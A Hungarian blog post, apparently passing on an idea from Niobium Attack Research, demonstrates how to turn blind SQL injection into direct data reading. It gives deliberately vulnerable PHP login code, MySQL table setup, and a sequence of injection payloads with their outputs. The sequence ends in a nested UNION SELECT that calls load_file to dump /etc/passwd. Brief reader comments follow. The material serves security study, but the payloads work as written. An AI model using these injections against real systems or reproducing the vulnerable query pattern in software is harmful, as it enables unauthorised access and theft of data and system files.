A Niobium Attack Research volt olyan kedves, és megosztott velem (és veletek, vagyis velünk ;) egy érdekes ötletet a vak SQL injection támadások kiterjesztésére, a vakság "meggyógyítására". Az alább olvasható leírás az ő leírásuk általam megszerkesztett változata:
Az alant elterülő - megtörtént eset alapján összeállított - PoC alapból PHP blind injectet tesz lehetővé, de kis reszeléssel kihozható belőle közvetlen adatolvasás is:
$conn = mysql_connect('127.0.0.1','root','') or die('connfail'); mysql_select_db('teszt', $conn) or die('selectdbfail'); $res = mysql_query('SELECT `id` FROM `auth` WHERE `username`=\''. $_POST['username'].'\' AND `password`= \''.md5($_POST['password']). '\'', $conn) or die(mysql_error($conn)); if(mysql_num_rows($res) == 0) { die('loginfail'); } else { list($id) = mysql_fetch_array($res); $res = mysql_query('SELECT `realname`,`email` FROM '. '`userdata` WHERE `id`='.$id, $conn) or die(mysql_error($conn)); list($realname, $email) = mysql_fetch_array($res); print "Hello $realname ($email)"; }
Emellé létrehozzuk a táblákat:
mysql> create table auth(id int(4) primary key not null auto_increment, -> username varchar(16), password varchar(32)); Query OK, 0 rows affected (0.01 sec) mysql> create table userdata (id int(4), realname varchar(64), -> email varchar(128)); Query OK, 0 rows affected (0.02 sec) mysql> insert into auth values ('', 'johndoe', md5('asdfghjkl123')); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> insert into userdata values('1', 'John Doe', 'doe@john.com'); Query OK, 1 row affected (0.00 sec)
Nézzük mire mit kapunk:
>> username=johndoe&password=asdfghjkl123
<< Hello John Doe (doe@john.com)
Sikertelen login:
>> username=x&password=x
<< loginfail
>> username='&password=x
<< You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9dd4e461268c8034f5c8564e155c67a6'' at line 1
>> username=' or 1 -- -
<< Hello John Doe (doe@john.com)
>> username=noSuchUser' union select -1 -- -&password=x
<< Hello ()
>> username=noSuchUser' union select x -- -&password=x<< Unknown column 'x' in 'field list'
>> username=noSuchUser' union select 'x' -- -&password=x<< Unknown column 'x' in 'where clause'
>> username=noSuchUser' union select '0 union select load_file("/etc/passwd"),1 ' -- -&password=x<< Hello root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/sync [ ... ]
Yv@n 2012.01.21. 05:42:00
No persze nyilván db-ben parancsokkal még nézelődhet ettől.
_2501 2012.01.21. 11:06:54
RobÚr 2012.01.25. 16:37:40
Köszi!